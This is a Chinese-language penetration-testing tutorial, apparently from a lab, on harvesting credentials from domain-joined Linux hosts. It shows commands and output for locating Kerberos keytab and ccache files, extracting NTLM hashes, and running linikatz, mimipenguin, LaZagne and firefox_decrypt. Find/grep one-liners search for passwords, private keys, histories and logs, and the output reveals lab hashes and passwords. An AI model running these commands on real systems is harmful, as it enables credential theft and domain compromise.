渗透测试--Linux上获取凭证

        在测试过程中我们也会发现一些Linux主机加域的情况，虽然不多见，但它确实存在。正所谓技多不压身，这样能够触类旁通的知识，我们怎能错过，所以在此我们将会主要探讨从Linux主机上获取域凭证的方法。主要有以下内容：

1.realm检查当前主机入域情况

2.ps命令检查入域情况

3.find搜索keytab文件

4.计划任务搜索keytab文件

5./tmp目录下查找cacche文件

6.环境变量查找ccache文件

7.使用klist命令展示keytab内相关人员

8.使用id命令显示人员权限

9.使用keytabextract提取keytab中的NTLM

10.linikatz自动化收集凭据工具

11.impacket-ticketConverter切换凭证平台工具

12.其他以搜索文件为基础的密码搜索方案

 realm检查Linux主机是否已经加入域

david@inlanefreight.htb@linux01:~$ realm listinlanefreight.htbtype: kerberosrealm-name: INLANEFREIGHT.HTBdomain-name: inlanefreight.htbconfigured: kerberos-memberserver-software: active-directoryclient-software: sssdrequired-package: sssd-toolsrequired-package: sssdrequired-package: libnss-sssrequired-package: libpam-sssrequired-package: adclirequired-package: samba-common-binlogin-formats: %U@inlanefreight.htblogin-policy: allow-permitted-loginspermitted-logins: david@inlanefreight.htb, julio@inlanefreight.htbpermitted-groups: Linux Admins

 PS检查Linux主机是否已经加入域

david@inlanefreight.htb@linux01:~$ ps -ef | grep -i "winbind\|sssd"root        2140       1  0 Sep29 ?        00:00:01 /usr/sbin/sssd -i --logger=files
root        2141    2140  0 Sep29 ?        00:00:08 /usr/libexec/sssd/sssd_be --domain inlanefreight.htb --uid 0 --gid 0 --logger=files
root        2142    2140  0 Sep29 ?        00:00:03 /usr/libexec/sssd/sssd_nss --uid 0 --gid 0 --logger=files
root        2143    2140  0 Sep29 ?        00:00:03 /usr/libexec/sssd/sssd_pam --uid 0 --gid 0 --logger=files

find搜索keytab文件

david@inlanefreight.htb@linux01:~$ find / -name *keytab* -ls 2>/dev/null<SNIP>131610      4 -rw-------   1 root     root         1348 Oct  4 16:26 /etc/krb5.keytab262169      4 -rw-rw-rw-   1 root     root          216 Oct 12 15:13 /opt/specialfiles/carlos.keytab

 计划任务搜索keytab文件

        因为如果linux加域后肯定是不愿意每次都重新将keytab文件导入的，所以通常会直接作为计划任务，或服务开启。

carlos@inlanefreight.htb@linux01:~$ crontab -l# Edit this file to introduce tasks to be run by cron.
# 
<SNIP>
# 
# m h  dom mon dow   command
*5/ * * * * /home/carlos@inlanefreight.htb/.scripts/kerberos_script_test.sh
carlos@inlanefreight.htb@linux01:~$ cat /home/carlos@inlanefreight.htb/.scripts/kerberos_script_test.sh
#!/bin/bash#这里的svc_workstations.kt是起了别名的keytab文件
kinit svc_workstations@INLANEFREIGHT.HTB -k -t /home/carlos@inlanefreight.htb/.scripts/svc_workstations.kt
smbclient //dc01.inlanefreight.htb/svc_workstations -c 'ls'  -k -no-pass > /home/carlos@inlanefreight.htb/script-test-results.txt

 /tmp中搜索ccache文件

ls -la /tmp

 环境变量查找ccache文件

        凭证缓存或ccache文件会在 Kerberos 凭证有效期间（一般在用户会话持续期间）保存凭证。用户向域进行身份验证后，会创建一个 ccache 文件来存储票证信息。此文件的路径放在KRB5CCNAME环境变量中。如果和Windows类比，那么就是TGT

env | grep -i krb5

使用klist命令展示keytab内相关人员

david@inlanefreight.htb@linux01:~$ klist -k -t /opt/specialfiles/carlos.keytab Keytab name: FILE:/opt/specialfiles/carlos.keytab
KVNO Timestamp           Principal
---- ------------------- ------------------------------------------------------1 10/06/2022 17:09:13 carlos@INLANEFREIGHT.HTB

 使用id命令显示人员权限

root@linux01:~# id julio@inlanefreight.htbuid=647401106(julio@inlanefreight.htb) gid=647400513(domain users@inlanefreight.htb) groups=647400513(domain users@inlanefreight.htb),647400512(domain admins@inlanefreight.htb),647400572(denied rodc password replication group@inlanefreight.htb)

 使用keytabextract提取keytab中的NTLM

david@inlanefreight.htb@linux01:~$ python3 /opt/keytabextract.py /opt/specialfiles/carlos.keytab [*] RC4-HMAC Encryption detected. Will attempt to extract NTLM hash.
[*] AES256-CTS-HMAC-SHA1 key found. Will attempt hash extraction.
[*] AES128-CTS-HMAC-SHA1 hash discovered. Will attempt hash extraction.
[+] Keytab File successfully imported.REALM : INLANEFREIGHT.HTBSERVICE PRINCIPAL : carlos/NTLM HASH : a738f92b3c08b424ec2d99589a9cce60AES-256 HASH : 42ff0baa586963d9010584eb9590595e8cd47c489e25e82aae69b1de2943007fAES-128 HASH : fa74d5abf4061baa1d4ff8485d1261c4

 linikatz自动化收集凭据工具

 GitHub - CiscoCXSecurity/linikatz: linikatz is a tool to attack AD on UNIX

cmundy2@htb[/htb]$ wget https://raw.githubusercontent.com/CiscoCXSecurity/linikatz/master/linikatz.sh
cmundy2@htb[/htb]$ /opt/linikatz.sh_ _       _ _         _
| (_)_ __ (_) | ____ _| |_ ____
| | | '_ \| | |/ / _` | __|_  /
| | | | | | |   < (_| | |_ / /
|_|_|_| |_|_|_|\_\__,_|\__/___|=[ @timb_machine ]=I: [freeipa-check] FreeIPA AD configuration
-rw-r--r-- 1 root root 959 Mar  4  2020 /etc/pki/fwupd/GPG-KEY-Linux-Vendor-Firmware-Service
-rw-r--r-- 1 root root 2169 Mar  4  2020 /etc/pki/fwupd/GPG-KEY-Linux-Foundation-Firmware
-rw-r--r-- 1 root root 1702 Mar  4  2020 /etc/pki/fwupd/GPG-KEY-Hughski-Limited
-rw-r--r-- 1 root root 1679 Mar  4  2020 /etc/pki/fwupd/LVFS-CA.pem
-rw-r--r-- 1 root root 2169 Mar  4  2020 /etc/pki/fwupd-metadata/GPG-KEY-Linux-Foundation-Metadata
-rw-r--r-- 1 root root 959 Mar  4  2020 /etc/pki/fwupd-metadata/GPG-KEY-Linux-Vendor-Firmware-Service
-rw-r--r-- 1 root root 1679 Mar  4  2020 /etc/pki/fwupd-metadata/LVFS-CA.pem
I: [sss-check] SSS AD configuration
-rw------- 1 root root 1609728 Oct 10 19:55 /var/lib/sss/db/timestamps_inlanefreight.htb.ldb
-rw------- 1 root root 1286144 Oct  7 12:17 /var/lib/sss/db/config.ldb
-rw------- 1 root root 4154 Oct 10 19:48 /var/lib/sss/db/ccache_INLANEFREIGHT.HTB
-rw------- 1 root root 1609728 Oct 10 19:55 /var/lib/sss/db/cache_inlanefreight.htb.ldb
-rw------- 1 root root 1286144 Oct  4 16:26 /var/lib/sss/db/sssd.ldb
-rw-rw-r-- 1 root root 10406312 Oct 10 19:54 /var/lib/sss/mc/initgroups
-rw-rw-r-- 1 root root 6406312 Oct 10 19:55 /var/lib/sss/mc/group
-rw-rw-r-- 1 root root 8406312 Oct 10 19:53 /var/lib/sss/mc/passwd
-rw-r--r-- 1 root root 113 Oct  7 12:17 /var/lib/sss/pubconf/krb5.include.d/localauth_plugin
-rw-r--r-- 1 root root 40 Oct  7 12:17 /var/lib/sss/pubconf/krb5.include.d/krb5_libdefaults
-rw-r--r-- 1 root root 15 Oct  7 12:17 /var/lib/sss/pubconf/krb5.include.d/domain_realm_inlanefreight_htb
-rw-r--r-- 1 root root 12 Oct 10 19:55 /var/lib/sss/pubconf/kdcinfo.INLANEFREIGHT.HTB
-rw------- 1 root root 504 Oct  6 11:16 /etc/sssd/sssd.conf
I: [vintella-check] VAS AD configuration
I: [pbis-check] PBIS AD configuration
I: [samba-check] Samba configuration
-rw-r--r-- 1 root root 8942 Oct  4 16:25 /etc/samba/smb.conf
-rw-r--r-- 1 root root 8 Jul 18 12:52 /etc/samba/gdbcommands
I: [kerberos-check] Kerberos configuration
-rw-r--r-- 1 root root 2800 Oct  7 12:17 /etc/krb5.conf
-rw------- 1 root root 1348 Oct  4 16:26 /etc/krb5.keytab
-rw------- 1 julio@inlanefreight.htb domain users@inlanefreight.htb 1406 Oct 10 19:55 /tmp/krb5cc_647401106_HRJDux
-rw------- 1 julio@inlanefreight.htb domain users@inlanefreight.htb 1414 Oct 10 19:55 /tmp/krb5cc_647401106_R9a9hG
-rw------- 1 carlos@inlanefreight.htb domain users@inlanefreight.htb 3175 Oct 10 19:55 /tmp/krb5cc_647402606
I: [samba-check] Samba machine secrets
I: [samba-check] Samba hashes
I: [check] Cached hashes
I: [sss-check] SSS hashes
I: [check] Machine Kerberos tickets
I: [sss-check] SSS ticket list
Ticket cache: FILE:/var/lib/sss/db/ccache_INLANEFREIGHT.HTB
Default principal: LINUX01$@INLANEFREIGHT.HTBValid starting       Expires              Service principal
10/10/2022 19:48:03  10/11/2022 05:48:03  krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTBrenew until 10/11/2022 19:48:03, Flags: RIAEtype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96 , AD types: 
I: [kerberos-check] User Kerberos tickets
Ticket cache: FILE:/tmp/krb5cc_647401106_HRJDux
Default principal: julio@INLANEFREIGHT.HTBValid starting       Expires              Service principal
10/07/2022 11:32:01  10/07/2022 21:32:01  krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTBrenew until 10/08/2022 11:32:01, Flags: FPRIAEtype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96 , AD types: 
Ticket cache: FILE:/tmp/krb5cc_647401106_R9a9hG
Default principal: julio@INLANEFREIGHT.HTBValid starting       Expires              Service principal
10/10/2022 19:55:02  10/11/2022 05:55:02  krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTBrenew until 10/11/2022 19:55:02, Flags: FPRIAEtype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96 , AD types: 
Ticket cache: FILE:/tmp/krb5cc_647402606
Default principal: svc_workstations@INLANEFREIGHT.HTBValid starting       Expires              Service principal
10/10/2022 19:55:02  10/11/2022 05:55:02  krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTBrenew until 10/11/2022 19:55:02, Flags: FPRIAEtype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96 , AD types: 
I: [check] KCM Kerberos tickets

impacket-ticketConverter切换凭证平台工具 

cmundy2@htb[/htb]$ impacket-ticketConverter krb5cc_647401106_I8I133 julio.kirbiImpacket v0.9.22 - Copyright 2020 SecureAuth Corporation[*] converting ccache to kirbi...
[+] done

 在Linux中搜索凭据

Files	History	Memory	Key-Rings
配置	日志	缓存	浏览器存储的凭据
数据库	命令行历史记录	内存处理
笔记
脚本
源代码
计划任务
SSH 密钥

在Linux中寻找配置文件

for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;doneFile extension:  .conf
/run/tmpfiles.d/static-nodes.conf
/run/NetworkManager/resolv.conf
/run/NetworkManager/no-stub-resolv.conf
/run/NetworkManager/conf.d/10-globally-managed-devices.conf
...SNIP...
/etc/ltrace.conf
/etc/rygel.conf
/etc/ld.so.conf.d/x86_64-linux-gnu.conf
/etc/ld.so.conf.d/fakeroot-x86_64-linux-gnu.conf
/etc/fprintd.conf

在Linux中寻找配置文件并答应中招内容

for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#";doneFile:  /snap/core18/2128/etc/ssl/openssl.cnf
challengePassword		= A challenge passwordFile:  /usr/share/ssl-cert/ssleay.cnfFile:  /etc/ssl/openssl.cnf
challengePassword		= A challenge password

在Linux中寻找文档文件

for ext in $(echo ".xls .xls* .xltx .csv .od* .doc .doc* .pdf .pot .pot* .pp*");do echo -e "\nFile extension: " $ext; find / -name *$ext 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done

在Linux中寻找数据库文件

for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share\|man";doneDB File extension:  .sqlDB File extension:  .db
/var/cache/dictionaries-common/ispell.db
/var/cache/dictionaries-common/aspell.db
/var/cache/dictionaries-common/wordlist.db
/var/cache/dictionaries-common/hunspell.db
/home/cry0l1t3/.mozilla/firefox/1bplpd86.default-release/cert9.db
/home/cry0l1t3/.mozilla/firefox/1bplpd86.default-release/key4.db
/home/cry0l1t3/.cache/tracker/meta.db

寻找用户笔记

find /home/* -type f -name "*.txt" -o ! -name "*.*"

寻找脚本

for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share";done

 寻找计划任务

cat /etc/crontab
ls -la /etc/cron.*/

寻找SSH公私钥

grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1"

grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1"

寻找历史记录

tail -n5 /home/*/.bash*

寻找日志文件

for i in $(ls /var/log/* 2>/dev/null);do GREP=$(grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null); if [[ $GREP ]];then echo -e "\n#### Log file: " $i; grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null;fi;done

日志档案	描述
/var/log/messages	通用系统活动日志。
/var/log/syslog	通用系统活动日志。
/var/log/auth.log	（Debian）所有身份验证相关的日志。
/var/log/secure	（RedHat/CentOS）所有与身份验证相关的日志。
/var/log/boot.log	引导信息。
/var/log/dmesg	硬件和驱动程序相关的信息和日志。
/var/log/kern.log	与内核相关的警告、错误和日志。
/var/log/faillog	登录尝试失败。
/var/log/cron	与 cron 作业相关的信息。
/var/log/mail.log	所有邮件服务器相关的日志。
/var/log/httpd	所有 Apache 相关日志。
/var/log/mysqld.log	所有 MySQL 服务器相关的日志。

寻找内存中的凭证

        我们可以使用mimiprnguin

cry0l1t3@unixclient:~$ sudo python3 mimipenguin.py
[sudo] password for cry0l1t3: [SYSTEM - GNOME]	cry0l1t3:WLpAEXFa0SbqOHYcry0l1t3@unixclient:~$ sudo bash mimipenguin.sh 
[sudo] password for cry0l1t3: MimiPenguin Results:
[SYSTEM - GNOME]          cry0l1t3:WLpAEXFa0SbqOHY

        也可以使用LaZagne.py

> python2.7 laZagne.py all|====================================================================|
|                                                                    |
|                        The LaZagne Project                         |
|                                                                    |
|                          ! BANG BANG !                             |
|                                                                    |
|====================================================================|------------------- Shadow passwords -----------------[+] Hash found !!!
Login: systemd-coredump
Hash: !!:18858::::::[+] Hash found !!!
Login: sambauser
<span style="color:#a4b1cd">Hash<span style="color:#a4b1cd">:</span> </span><span style="color:#ff8484"><strong>$</strong></span><span style="color:#ffaf00">6</span><span style="color:#c5f467">$wgK4tGq7Jepa</span>.V0g<span style="color:#c5f467">$QkxvseL</span>.xkC3jo682xhSGoXXOGcBwPLc2CrAPugD6PYXWQlBkiwwFs7x/fhI.8negiUSPqaWyv7wC8uwsWPrx1:18862:0:99999:7:::[+] Password found !!!
Login: cry0l1t3
Password: WLpAEXFa0SbqOHY[+] 3 passwords have been found.
For more information launch it again with the -v optionelapsed time = 3.50091600418</code></span></span>

 寻找浏览器中的凭证

        找到文件

ls -l .mozilla/firefox/ | grep default drwx------ 11 cry0l1t3 cry0l1t3 4096 Jan 28 16:02 1bplpd86.default-release
drwx------  2 cry0l1t3 cry0l1t3 4096 Jan 28 13:30 lfx3lvhb.default

        解读文件 

cat .mozilla/firefox/1bplpd86.default-release/logins.json | jq .{"nextId": 2,"logins": [{"id": 1,"hostname": "https://www.inlanefreight.com","httpRealm": null,"formSubmitURL": "https://www.inlanefreight.com","usernameField": "username","passwordField": "password","encryptedUsername": "MDoEEPgAAAA...SNIP...1liQiqBBAG/8/UpqwNlEPScm0uecyr","encryptedPassword": "MEIEEPgAAAA...SNIP...FrESc4A3OOBBiyS2HR98xsmlrMCRcX2T9Pm14PMp3bpmE=","guid": "{412629aa-4113-4ff9-befe-dd9b4ca388e2}","encType": 1,"timeCreated": 1643373110869,"timeLastUsed": 1643373110869,"timePasswordChanged": 1643373110869,"timesUsed": 1}],"potentiallyVulnerablePasswords": [],"dismissedBreachAlertsByLoginGUID": {},"version": 3
}

浏览器密码解密工具

python3.9 firefox_decrypt.pySelect the Mozilla profile you wish to decrypt
1 -> lfx3lvhb.default
2 -> 1bplpd86.default-release2Website:   https://testing.dev.inlanefreight.com
Username: 'test'
Password: 'test'Website:   https://www.inlanefreight.com
Username: 'cry0l1t3'
Password: 'FzXUxJemKm6g2lGh'

/etc/shadow & /etc/passwd & /etc/security/opasswd

/etc/passwd中包含用户名和密码，其中如果passwd字段是空的，那么我们就可以空密码登录服务器。如果密码字段是x则需要在shadow中完成认证。哟时候、etc/passwd可以被编辑./etc/security/opasswd中存在很多旧密码。

htb-student:	x:	1000:	1000:	,,,:	/home/htb-student:	/bin/bash
<username>:	<password>:	<uid>:	<gid>:	<comment>:	<home directory>:	<cmd executed after logging in>